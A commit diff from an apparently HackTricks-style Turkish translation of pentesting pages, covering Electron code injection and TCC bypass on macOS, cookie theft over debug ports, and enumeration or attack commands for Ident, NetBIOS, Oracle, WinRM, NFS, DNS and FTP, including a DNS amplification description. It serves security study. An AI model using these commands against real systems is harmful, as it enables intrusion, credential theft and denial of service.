Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-01-12 19:48:02 +00:00
parent 8ac2786a7e
commit c879e00594
31 changed files with 428 additions and 430 deletions

View File

@ -14,7 +14,7 @@ Bu teknikler bir sonraki bölümde tartışılacak, ancak son zamanlarda Electro
- **`RunAsNode`**: Devre dışı bırakıldığında, kod enjeksiyonu için **`ELECTRON_RUN_AS_NODE`** env değişkeninin kullanılmasını engeller.
- **`EnableNodeCliInspectArguments`**: Devre dışı bırakıldığında, `--inspect`, `--inspect-brk` gibi parametreler dikkate alınmayacaktır. Bu şekilde kod enjeksiyonunu önler.
- **`EnableEmbeddedAsarIntegrityValidation`**: Etkinleştirildiğinde, yüklenen **`asar`** **dosyası** macOS tarafından **doğrulanacaktır**. Bu şekilde bu dosyanın içeriğini değiştirerek **kod enjeksiyonunu** **önler**.
- **`OnlyLoadAppFromAsar`**: Bu etkinleştirildiğinde, yüklemek için şu sırayı aramak yerine: **`app.asar`**, **`app`** ve nihayet **`default_app.asar`**. Sadece app.asar'ı kontrol edecek ve kullanacak, böylece **`embeddedAsarIntegrityValidation`** füzesi ile birleştirildiğinde **doğrulanmamış kodun yüklenmesi** **imkansız** hale gelecektir.
- **`OnlyLoadAppFromAsar`**: Bu etkinleştirildiğinde, yüklemek için şu sırayı aramak yerine: **`app.asar`**, **`app`** ve son olarak **`default_app.asar`**. Sadece app.asar'yı kontrol edecek ve kullanacak, böylece **`embeddedAsarIntegrityValidation`** füzesi ile **birleştirildiğinde** **doğrulanmamış kodun yüklenmesi** **imkansız** hale gelecektir.
- **`LoadBrowserProcessSpecificV8Snapshot`**: Etkinleştirildiğinde, tarayıcı süreci V8 anlık görüntüsü için `browser_v8_context_snapshot.bin` adlı dosyayı kullanır.
Kod enjeksiyonunu önlemeyecek başka ilginç bir fuse ise:
@ -62,9 +62,9 @@ Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabili
> - Bir Uygulamayı değiştirmek için **`kTCCServiceSystemPolicyAppBundles`** izni **gerekir**, bu nedenle varsayılan olarak bu artık mümkün değildir.
> - Derlenmiş **`asap`** dosyası genellikle **`embeddedAsarIntegrityValidation`** `ve` **`onlyLoadAppFromAsar`** sigortalarını `etkin` olarak içerir.
>
> Bu saldırı yolunu daha karmaşık (veya imkansız) hale getirir.
> Bu da bu saldırı yolunu daha karmaşık (veya imkansız) hale getirir.
**`kTCCServiceSystemPolicyAppBundles`** gereksinimini, uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`** olarak yeniden adlandırarak, **zararlı** kodunuzla **asar** dosyasını **değiştirerek**, tekrar **`app.app/Contents`** olarak adlandırarak ve çalıştırarak aşmanın mümkün olduğunu unutmayın.
**`kTCCServiceSystemPolicyAppBundles`** gereksinimini, uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`** olarak yeniden adlandırarak, **zararlı** kodunuzla **asar** dosyasını **değiştirerek**, tekrar **`app.app/Contents`** olarak adlandırarak ve çalıştırarak atlatmanın mümkün olduğunu unutmayın.
Asar dosyasından kodu çıkarmak için:
```bash
@ -76,7 +76,7 @@ npx asar pack app-decomp app-new.asar
```
## RCE with `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
[**Belgelerde**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node) belirtildiğine göre, bu ortam değişkeni ayarlandığında, süreci normal bir Node.js süreci olarak başlatacaktır.
[**Belgeler**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node)'e göre, bu ortam değişkeni ayarlandığında, süreci normal bir Node.js süreci olarak başlatır.
```bash
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
@ -147,19 +147,17 @@ Bu ortam değişkenini bir plist içinde kötüye kullanarak kalıcılığı sa
```
## RCE ile inceleme
[**şuna**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) göre, **`--inspect`**, **`--inspect-brk`** ve **`--remote-debugging-port`** gibi bayraklarla bir Electron uygulaması çalıştırırsanız, **bir hata ayıklama portu açılacaktır** böylece ona bağlanabilirsiniz (örneğin `chrome://inspect` üzerinden Chrome'dan) ve **ona kod enjekte edebilir** veya hatta yeni süreçler başlatabilirsiniz.\
Örneğin:
According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), eğer **`--inspect`**, **`--inspect-brk`** ve **`--remote-debugging-port`** gibi bayraklarla bir Electron uygulaması çalıştırırsanız, **bir debug portu açılacaktır** böylece ona bağlanabilirsiniz (örneğin `chrome://inspect` üzerinden Chrome'dan) ve **ona kod enjekte edebilir** veya hatta yeni süreçler başlatabilirsiniz.\
For example:
```bash
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
> [!CAUTION]
> Eğer **`EnableNodeCliInspectArguments`** sigortası devre dışı bırakılmışsa, uygulama başlatıldığında **node parametrelerini** (örneğin `--inspect`) **göz ardı edecektir**, eğer ortam değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmamışsa, bu da **göz ardı edilecektir** eğer sigorta **`RunAsNode`** devre dışı bırakılmışsa.
> Eğer **`EnableNodeCliInspectArguments`** sigortası devre dışı bırakılmışsa, uygulama **node parametrelerini** (örneğin `--inspect`) başlatıldığında **göz ardı edecektir**, eğer ortam değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmamışsa, bu da **göz ardı edilecektir** eğer sigorta **`RunAsNode`** devre dışı bırakılmışsa.
>
> Ancak, **electron parametresi `--remote-debugging-port=9229`** kullanarak hala bazı bilgileri çalabilirsiniz, ancak önceki yük, diğer süreçleri çalıştırmak için işe yaramayacaktır.
Parametre **`--remote-debugging-port=9222`** kullanarak Electron Uygulamasından **geçmiş** (GET komutları ile) veya tarayıcının **çerezlerini** çalmak mümkündür (çünkü bunlar tarayıcı içinde **şifresi çözülmüş** durumdadır ve bunları verecek bir **json uç noktası** vardır).
> Ancak, **electron parametresi `--remote-debugging-port=9229`** kullanarak hala bazı bilgileri çalmak mümkündür, örneğin **geçmiş** (GET komutları ile) veya tarayıcının **çerezleri** (çünkü bunlar tarayıcı içinde **şifresi çözülmüş** durumdadır ve bunları verecek bir **json uç noktası** vardır).
Bunu nasıl yapacağınızı [**burada**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) ve [**burada**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) öğrenebilirsiniz ve otomatik aracı [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) veya şöyle basit bir script kullanabilirsiniz:
```python
@ -190,11 +188,11 @@ Bu ortam değişkenini bir plist'te kötüye kullanarak kalıcılığı sağlama
## TCC Bypass eski sürümleri istismar etme
> [!TIP]
> macOS'taki TCC daemon, uygulamanın yürütülen sürümünü kontrol etmez. Bu nedenle, eğer **bir Electron uygulamasına kod enjekte edemiyorsanız** önceki tekniklerden herhangi biriyle, APP'nin önceki bir sürümünü indirip üzerine kod enjekte edebilirsiniz çünkü hala TCC ayrıcalıklarını alacaktır (Trust Cache engellemediği sürece).
> macOS'taki TCC daemon, uygulamanın yürütülen sürümünü kontrol etmez. Bu nedenle, **bir Electron uygulamasına kod enjekte edemiyorsanız** önceki tekniklerden herhangi biriyle, APP'nin önceki bir sürümünü indirip üzerine kod enjekte edebilirsiniz çünkü hala TCC ayrıcalıklarını alacaktır (Trust Cache engellemediği sürece).
## JS Dışı Kod Çalıştırma
Önceki teknikler, **electron uygulamasının sürecinde JS kodu çalıştırmanıza** olanak tanıyacaktır. Ancak, **çocuk süreçlerin ana uygulama ile aynı sandbox profilinde çalıştığını** ve **TCC izinlerini miras aldığını** unutmayın.\
Önceki teknikler, **electron uygulamasının sürecinde JS kodu çalıştırmanıza** izin verecektir. Ancak, **çocuk süreçlerin ana uygulama ile aynı sandbox profilinde çalıştığını** ve **TCC izinlerini miras aldığını** unutmayın.\
Bu nedenle, örneğin kameraya veya mikrofona erişmek için hakları istismar etmek istiyorsanız, sadece **süreçten başka bir ikili dosya çalıştırabilirsiniz**.
## Otomatik Enjeksiyon

View File

@ -4,9 +4,9 @@
## Temel Bilgiler
**Ident Protokolü**, belirli bir kullanıcı ile **TCP bağlantısını** ilişkilendirmek için **İnternet** üzerinde kullanılır. İlk olarak **ağ yönetimi** ve **güvenlik** konularında yardımcı olmak amacıyla tasarlanmıştır ve bir sunucunun, belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için 113 numaralı port üzerinden bir istemciyi sorgulamasına olanak tanır.
**Ident Protokolü**, belirli bir kullanıcıyla bir **TCP bağlantısını** ilişkilendirmek için **İnternet** üzerinde kullanılır. İlk olarak **ağ yönetimi** ve **güvenlik** konularında yardımcı olmak amacıyla tasarlanmıştır ve bir sunucunun, belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için 113 numaralı port üzerinden bir istemciyi sorgulamasına olanak tanır.
Ancak, modern gizlilik endişeleri ve kötüye kullanım potansiyeli nedeniyle, kullanımı azalmıştır çünkü istemci bilgilerini yetkisiz taraflara yanlışlıkla ifşa edebilir. Bu riskleri azaltmak için şifreli bağlantılar ve sıkı erişim kontrolleri gibi geliştirilmiş güvenlik önlemleri önerilmektedir.
Ancak, modern gizlilik endişeleri ve kötüye kullanım potansiyeli nedeniyle, yetkisiz taraflara kullanıcı bilgilerini yanlışlıkla ifşa edebileceğinden kullanımı azalmıştır. Bu riskleri azaltmak için şifreli bağlantılar ve sıkı erişim kontrolleri gibi geliştirilmiş güvenlik önlemleri önerilmektedir.
**Varsayılan port:** 113
```
@ -17,7 +17,7 @@ PORT STATE SERVICE
### **Manual - Kullanıcıyı Al/Servisi Tanımla**
Eğer bir makine ident ve samba (445) servisini çalıştırıyorsa ve siz samba'ya 43218 portu üzerinden bağlıysanız, samba servisini hangi kullanıcının çalıştırdığını öğrenmek için:
Eğer bir makine ident ve samba (445) servisini çalıştırıyorsa ve siz samba'ya 43218 portu ile bağlıysanız, samba servisini hangi kullanıcının çalıştırdığını öğrenmek için:
![](<../images/image (843).png>)
@ -48,7 +48,7 @@ PORT STATE SERVICE VERSION
```
### Ident-user-enum
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) basit bir PERL betiğidir ve bir hedef sistemin her TCP portunda dinleyen sürecin sahibini belirlemek için ident hizmetini (113/TCP) sorgular. Toplanan kullanıcı adı listesi, diğer ağ hizmetlerine yönelik şifre tahmin saldırıları için kullanılabilir. `apt install ident-user-enum` ile kurulabilir.
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) basit bir PERL betiğidir ve hedef sistemin her TCP portunda dinleyen sürecin sahibini belirlemek için ident hizmetini (113/TCP) sorgular. Toplanan kullanıcı adı listesi, diğer ağ hizmetlerine yönelik şifre tahmin saldırıları için kullanılabilir. `apt install ident-user-enum` ile kurulabilir.
```
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )

View File

@ -14,7 +14,7 @@
### İsim Servisi
Bir cihazın NetBIOS ağında yer alabilmesi için benzersiz bir isme sahip olması gerekir. Bu, "İsim Sorgusu" paketi gönderilerek gerçekleştirilen bir **yayın süreci** ile sağlanır. Eğer itiraz gelmezse, isim kullanılabilir olarak kabul edilir. Alternatif olarak, bir **İsim Servisi sunucusu** doğrudan sorgulanarak isim kullanılabilirliği kontrol edilebilir veya bir ismin IP adresine çözülmesi sağlanabilir. `nmblookup`, `nbtscan` ve `nmap` gibi araçlar, NetBIOS hizmetlerini listelemek için kullanılır ve sunucu isimleri ile MAC adreslerini ortaya çıkarır.
Bir cihazın NetBIOS ağında yer alabilmesi için benzersiz bir isme sahip olması gerekir. Bu, bir "İsim Sorgusu" paketi gönderilerek gerçekleştirilen bir **yayın süreci** ile sağlanır. Eğer itiraz gelmezse, isim kullanılabilir olarak kabul edilir. Alternatif olarak, bir **İsim Servisi sunucusu** doğrudan sorgulanarak isim kullanılabilirliği kontrol edilebilir veya bir ismin IP adresine çözülmesi sağlanabilir. `nmblookup`, `nbtscan` ve `nmap` gibi araçlar, NetBIOS hizmetlerini listelemek için kullanılır ve sunucu isimleri ile MAC adreslerini ortaya çıkarır.
```bash
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)

View File

@ -19,7 +19,7 @@ Oracle'ı sayarken ilk adım, genellikle varsayılan portta (1521/TCP, -ayrıca
4. **Kimlik Bilgisi Bruteforce**: Keşfedilen SID'ye erişim sağlamaya çalışın.
5. **Kod Çalıştırma**: Sistemde kod çalıştırmaya çalışın.
MSF oracle modüllerini kullanmak için bazı bağımlılıkları yüklemeniz gerekir: [**Kurulum**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
MSF oracle modüllerini kullanmak için bazı bağımlılıkları yüklemeniz gerekiyor: [**Kurulum**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
## Gönderiler

View File

@ -4,14 +4,14 @@
## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>), **Microsoft tarafından** vurgulanan bir **protokoldür** ve **Windows sistemlerinin uzaktan yönetimini** HTTP(S) üzerinden sağlar, bu süreçte SOAP kullanır. Temelde WMI tarafından desteklenir ve WMI işlemleri için HTTP tabanlı bir arayüz olarak kendini sunar.
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) **Microsoft tarafından** vurgulanan bir **protokoldür** ve **Windows sistemlerinin uzaktan yönetimini** HTTP(S) üzerinden sağlar, bu süreçte SOAP kullanır. Temelde WMI tarafından desteklenmektedir ve WMI işlemleri için HTTP tabanlı bir arayüz olarak kendini sunar.
Bir makinede WinRM'in varlığı, PowerShell aracılığıyla basit uzaktan yönetim sağlar; bu, diğer işletim sistemleri için SSH'nin nasıl çalıştığına benzer. WinRM'in çalışıp çalışmadığını belirlemek için belirli portların açılıp açılmadığını kontrol etmek önerilir:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
Yukarıdaki listeden açık bir port, WinRM'in kurulu olduğunu gösterir ve böylece uzaktan bir oturum başlatma girişimlerine izin verir.
Yukarıdaki listeden açık bir port, WinRM'in yapılandırıldığını gösterir ve böylece uzaktan bir oturum başlatma girişimlerine izin verir.
### **WinRM Oturumu Başlatma**
@ -30,9 +30,9 @@ Bu yöntem, uzaktan WinRM kurulumu yapmayı sağlar ve Windows makinelerini uzak
### Yapılandırıldığını Test Et
Saldırı makinenizin kurulumunu doğrulamak için, hedefin WinRM'nin düzgün yapılandırılıp yapılandırılmadığını kontrol etmek için `Test-WSMan` komutu kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol versiyonu ve wsmid ile ilgili ayrıntıları almayı beklemelisiniz. Aşağıda, yapılandırılmış bir hedef ile yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır:
Saldırı makinenizin kurulumunu doğrulamak için, hedefin WinRM'nin düzgün yapılandırılıp yapılandırılmadığını kontrol etmek için `Test-WSMan` komutu kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol versiyonu ve wsmid ile ilgili ayrıntılar almayı beklemelisiniz. Aşağıda, yapılandırılmış bir hedef ile yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır:
- **Düzgün yapılandırılmış** bir hedef için, çıktı aşağıdaki gibi görünecektir:
- **doğru** yapılandırılmış bir hedef için, çıktı buna benzer görünecektir:
```bash
Test-WSMan <target-ip>
```
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
```
![](<../images/image (151).png>)
Ayrıca, _**Invoke-Command**_ aracılığıyla mevcut PS konsolunuzda bir komut **çalıştırabilirsiniz**. Diyelim ki yerel olarak _**enumeration**_ adında bir fonksiyonunuz var ve bunu **uzaktaki bir bilgisayarda çalıştırmak** istiyorsunuz, şunu yapabilirsiniz:
Ayrıca, _**Invoke-Command**_ aracılığıyla mevcut PS konsolunuzda bir komut **çalıştırabilirsiniz**. Diyelim ki yerel olarak _**enumeration**_ adında bir fonksiyonunuz var ve bunu **uzaktaki bir bilgisayarda çalıştırmak** istiyorsunuz, bunu yapabilirsiniz:
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
@ -89,7 +89,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
### **WinRM'yi Açmaya Zorlama**
PS Remoting ve WinRM kullanmak için ancak bilgisayar yapılandırılmamışsa, bunu şu şekilde etkinleştirebilirsiniz:
PS Remoting ve WinRM kullanmak istiyorsanız ancak bilgisayar yapılandırılmamışsa, bunu şu şekilde etkinleştirebilirsiniz:
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
@ -117,7 +117,7 @@ Aşağıdaki hatayı bulursanız:
`enter-pssession : Uzak sunucu 10.10.10.175 ile bağlantı kurma başarısız oldu. Hata mesajı: WinRM istemcisi isteği işleyemiyor. Kimlik doğrulama şeması Kerberos'tan farklıysa veya istemci bilgisayarı bir domaine katılmamışsa, HTTPS taşıma kullanılmalı veya hedef makine TrustedHosts yapılandırma ayarına eklenmelidir. TrustedHosts'u yapılandırmak için winrm.cmd kullanın. TrustedHosts listesindeki bilgisayarların kimlik doğrulamasının yapılmamış olabileceğini unutmayın. Bununla ilgili daha fazla bilgi almak için aşağıdaki komutu çalıştırabilirsiniz: winrm help config. Daha fazla bilgi için, about_Remote_Troubleshooting Yardım konusuna bakın.`
İstemcide deneme (bilgi için [buradan](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
İstemcide deneme (bilgi için [buraya](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
@ -142,7 +142,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
```ruby
gem install evil-winrm
```
**belgeler** için github'da okuyun: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
**belgeler**'i github'da okuyun: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```

View File

@ -10,7 +10,7 @@ Bu protokolün dikkat çekici bir yönü, yerleşik **kimlik doğrulama** veya *
Kimlik doğrulama genellikle **UNIX `UID`/`GID` tanımlayıcıları ve grup üyeliklerine** dayanır. Ancak, istemciler ve sunucular arasındaki **`UID`/`GID` eşleştirmelerindeki** olası uyumsuzluk nedeniyle bir zorluk ortaya çıkar; bu durum sunucunun ek bir doğrulama yapmasına olanak tanımaz. Sonuç olarak, bu protokol, bu kimlik doğrulama yöntemine dayanması nedeniyle en iyi şekilde **güvenilir ağlar** içinde kullanılmak için uygundur.
**Varsayılan port**: 2049/TCP/UDP (sadece versiyon 4 için, TCP veya UDP yeterlidir).
**Varsayılan port**: 2049/TCP/UDP (sadece versiyon 4 için, yalnızca TCP veya UDP gereklidir).
```
2049/tcp open nfs 2-3 (RPC #100003
```
@ -20,9 +20,9 @@ Kimlik doğrulama genellikle **UNIX `UID`/`GID` tanımlayıcıları ve grup üye
- **NFSv3**: Bir dizi iyileştirme ile tanıtılan NFSv3, değişken dosya boyutlarını destekleyerek ve geliştirilmiş hata raporlama mekanizmaları sunarak selefinin üzerine çıkmıştır. Gelişmelerine rağmen, NFSv2 istemcileri ile tam geriye dönük uyumlulukta sınırlamalarla karşılaşmıştır.
- **NFSv4**: NFS serisinde bir dönüm noktası olan NFSv4, ağlar üzerinden dosya paylaşımını modernize etmek için tasarlanmış bir dizi özellik sunmuştur. Dikkate değer iyileştirmeler arasında **yüksek güvenlik** için Kerberos entegrasyonu, güvenlik duvarlarını aşabilme yeteneği ve port haritalayıcılarına ihtiyaç duymadan İnternet üzerinden çalışabilme, Erişim Kontrol Listeleri (ACL'ler) desteği ve durum tabanlı işlemlerin tanıtımı bulunmaktadır. Performans iyileştirmeleri ve durum bilgisi olan bir protokolün benimsenmesi, NFSv4'ü ağ dosya paylaşım teknolojilerinde önemli bir ilerleme olarak ayırmaktadır.
- **NFSv4**: NFS serisinde bir dönüm noktası olan NFSv4, ağlar üzerinden dosya paylaşımını modernize etmek için tasarlanmış bir dizi özellik sunmuştur. Dikkate değer iyileştirmeler arasında **yüksek güvenlik** için Kerberos entegrasyonu, güvenlik duvarlarını aşabilme ve portmapper'lara ihtiyaç duymadan İnternet üzerinden çalışabilme yeteneği, Erişim Kontrol Listeleri (ACL'ler) desteği ve durum tabanlı işlemlerin tanıtımı bulunmaktadır. Performans iyileştirmeleri ve durumlu bir protokolün benimsenmesi, NFSv4'ü ağ dosya paylaşım teknolojilerinde önemli bir ilerleme olarak ayırmaktadır.
Her NFS versiyonu, ağ ortamlarının gelişen ihtiyaçlarını karşılamak amacıyla geliştirilmiş, güvenlik, uyumluluk ve performansı kademeli olarak artırmıştır.
NFS'nin her versiyonu, ağ ortamlarının gelişen ihtiyaçlarını karşılamak amacıyla geliştirilmiş, güvenlik, uyumluluk ve performansı kademeli olarak artırmıştır.
## Sayım
@ -38,7 +38,7 @@ scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### Mounting
Hangi **klasörün** sunucu tarafından **mevcut** olduğunu öğrenmek için ona şu şekilde sorabilirsiniz:
Hangi **klasörün** sunucu tarafından **mevcut** olduğunu öğrenmek için şunu sorabilirsiniz:
```bash
showmount -e <IP>
```
@ -61,7 +61,7 @@ Dosyaları erişmek için UID ve GID'yi kolayca listelemek, bağlamak ve değiş
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
## Konfigürasyon dosyaları
## Yapılandırma dosyaları
```
/etc/exports
/etc/lib/nfs/etab
@ -74,9 +74,9 @@ Dosyaları erişmek için UID ve GID'yi kolayca listelemek, bağlamak ve değiş
- **İç İçe Dosya Sistemlerinin Görünürlüğü (`nohide`):** Bu yapılandırma, başka bir dosya sistemi bir dışa aktarılmış dizinin altında monte edilse bile dizinlerin görünür olmasını sağlar. Her dizin, uygun yönetim için kendi dışa aktarma girişine ihtiyaç duyar.
- **Kök Dosyalarının Sahipliği (`no_root_squash`):** Bu ayar ile, kök kullanıcı tarafından oluşturulan dosyalar, en az ayrıcalık ilkesini göz ardı ederek, 0 olan orijinal UID/GID'sini korur ve potansiyel olarak aşırı izinler verebilir.
- **Kök Dosyalarının Sahipliği (`no_root_squash`):** Bu ayar ile, kök kullanıcı tarafından oluşturulan dosyalar, 0 olan orijinal UID/GID'lerini korur, bu da en az ayrıcalık ilkesini göz ardı eder ve potansiyel olarak aşırı izinler verebilir.
- **Tüm Kullanıcıların Squash Edilmemesi (`no_all_squash`):** Bu seçenek, kullanıcı kimliklerinin sistem genelinde korunmasını sağlar; bu da doğru bir şekilde ele alınmadığında izin ve erişim kontrol sorunlarına yol açabilir.
- **Tüm Kullanıcıların Squash Edilmemesi (`no_all_squash`):** Bu seçenek, kullanıcı kimliklerinin sistem genelinde korunmasını sağlar, bu da doğru bir şekilde yönetilmezse izin ve erişim kontrol sorunlarına yol açabilir.
## NFS Yanlış Yapılandırmaları ile Ayrıcalık Yükseltme

View File

@ -21,7 +21,7 @@ PORT STATE SERVICE REASON
- **Yetkisiz İsim Sunucuları**: DNS bölgeleri üzerinde sahiplikleri olmayan bu sunucular, diğer sunuculara sorgular aracılığıyla alan bilgilerini toplar.
- **Önbellekli DNS Sunucusu**: Bu tür sunucular, önceki sorgu yanıtlarını belirli bir süre boyunca hatırlar ve gelecekteki talepler için yanıt sürelerini hızlandırır; önbellek süresi yetkili sunucu tarafından belirlenir.
- **Yönlendirme Sunucusu**: Basit bir rol üstlenen yönlendirme sunucuları, sorguları başka bir sunucuya iletir.
- **Çözücü**: Bilgisayarlar veya yönlendiriciler içinde entegre olan çözücüler, ad çözümlemesini yerel olarak gerçekleştirir ve yetkili olarak kabul edilmez.
- **Çözücü**: Bilgisayarlar veya yönlendiriciler içinde entegre olan çözücüler, ad çözümlemesini yerel olarak gerçekleştirir ve yetkili olarak kabul edilmezler.
## Sayım
@ -38,7 +38,7 @@ Ayrıca, bir **nmap** betiği ile de banner'ı almak mümkündür:
```
--script dns-nsid
```
### **Her kayıt**
### **Herhangi bir kayıt**
Kayıt **ANY**, DNS sunucusundan **açıklamaya istekli olduğu** tüm mevcut **girişleri** **dönmesini** isteyecektir.
```bash
@ -136,7 +136,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns
```
### DNS Rekürsiyonu DDoS
Eğer **DNS rekürsiyonu etkinse**, bir saldırgan **UDP paketindeki** **kaynağı** **sahteleyerek** **DNS'in yanıtı kurban sunucusuna göndermesini** sağlayabilir. Bir saldırgan, daha büyük yanıtlar alabilmek için **ANY** veya **DNSSEC** kayıt türlerini kötüye kullanabilir.\
Eğer **DNS rekürsiyonu etkinse**, bir saldırgan **UDP paketindeki** **kaynağı** **sahteleyerek** **DNS'in yanıtı kurban sunucusuna göndermesini** sağlayabilir. Bir saldırgan, daha büyük yanıtlar aldığı için **ANY** veya **DNSSEC** kayıt türlerini kötüye kullanabilir.\
Bir DNS'in **rekürsiyonu** destekleyip desteklemediğini **kontrol etmenin** yolu, bir alan adını sorgulamak ve yanıtın içinde **"ra" bayrağının** (_rekürsiyon mevcut_) olup olmadığını **kontrol etmektir**:
```bash
dig google.com A @<IP>
@ -152,9 +152,9 @@ dig google.com A @<IP>
### Var Olmayan Hesaba Mail Gönderme
**Kurbanın alan adını kullanarak var olmayan bir adrese e-posta göndermek**, kurbanın ilginç bilgiler içerebilecek **başlıklar** içeren bir teslim edilmeme bildirim (NDN) mesajı göndermesine neden olabilir; bu bilgiler arasında **iç sunucuların isimleri ve IP adresleri** yer alabilir.
**Kurbanın alan adını kullanarak var olmayan bir adrese e-posta göndermek**, kurbanın ilginç bilgiler içerebilecek **başlıklar** içeren bir teslim edilmeme bildirimi (NDN) mesajı göndermesine neden olabilir; bu bilgiler arasında **iç sunucuların isimleri ve IP adresleri** yer alabilir.
## Sonrası-İstismar
## Post-Exploitation
- Bir Bind sunucusunun yapılandırmasını kontrol ederken, **`allow-transfer`** parametresinin yapılandırmasını kontrol edin; bu, kimin alan transferi gerçekleştirebileceğini gösterir. Ayrıca **`allow-recursion`** ve **`allow-query`** parametrelerini de kontrol edin; bu, kimin ona rekürsif istekler ve istekler gönderebileceğini gösterir.
- Aşağıdakiler, makinelerde aramak için ilginç olabilecek DNS ile ilgili dosyaların isimleridir:

View File

@ -12,13 +12,13 @@ Bu, **düz metin** protokolüdür ve **yeni satır karakteri `0x0d 0x0a`** kulla
PORT STATE SERVICE
21/tcp open ftp
```
### Aktif ve Pasif Bağlantılar
### Bağlantılar Aktif & Pasif
**Aktif FTP**'de FTP **istemcisi** önce kontrol **bağlantısını** kendi N portundan FTP Sunucusunun komut portuna - port 21'e **başlatır**. **İstemci** daha sonra N+1 portunu dinler ve N+1 portunu FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını** **M portundan** FTP İstemcisinin N+1 portuna **başlatır**.
**Aktif FTP**'de FTP **istemcisi** önce kontrol **bağlantısını** kendi N portundan FTP Sunucusunun komut portuna port 21'e **başlatır**. **İstemci** daha sonra N+1 portunu dinler ve N+1 portunu FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını** **M portundan** FTP İstemcisinin N+1 portuna **başlatır**.
Ancak, eğer FTP İstemcisinin dışarıdan gelen veri bağlantılarını kontrol eden bir güvenlik duvarı varsa, o zaman aktif FTP bir sorun olabilir. Bunun için uygulanabilir bir çözüm Pasif FTP'dir.
**Pasif FTP**'de istemci kontrol bağlantısını kendi N portundan FTP Sunucusunun 21 portuna başlatır. Bunun ardından istemci bir **passv komutu** gönderir. Sunucu daha sonra istemciye kendi port numarasını M gönderir. Ve **istemci** veri **bağlantısını** **P portundan** FTP Sunucusunun M portuna **başlatır**.
**Pasif FTP**'de istemci kontrol bağlantısını kendi N portundan FTP Sunucusunun 21 portuna başlatır. Bunun ardından istemci bir **passv komutu** gönderir. Sunucu daha sonra istemciye kendi M port numarasını gönderir. Ve **istemci** veri **bağlantısını** **P portundan** FTP Sunucusunun M portuna **başlatır**.
Kaynak: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
@ -111,7 +111,7 @@ nmap --script ftp-* -p 21 <ip>
```
## Tarayıcı bağlantısı
Bir FTP sunucusuna bir tarayıcı (Firefox gibi) kullanarak şu şekilde bir URL ile bağlanabilirsiniz:
Bir FTP sunucusuna bir tarayıcı (Firefox gibi) kullanarak şu URL ile bağlanabilirsiniz:
```bash
ftp://anonymous:anonymous@10.10.10.98
```
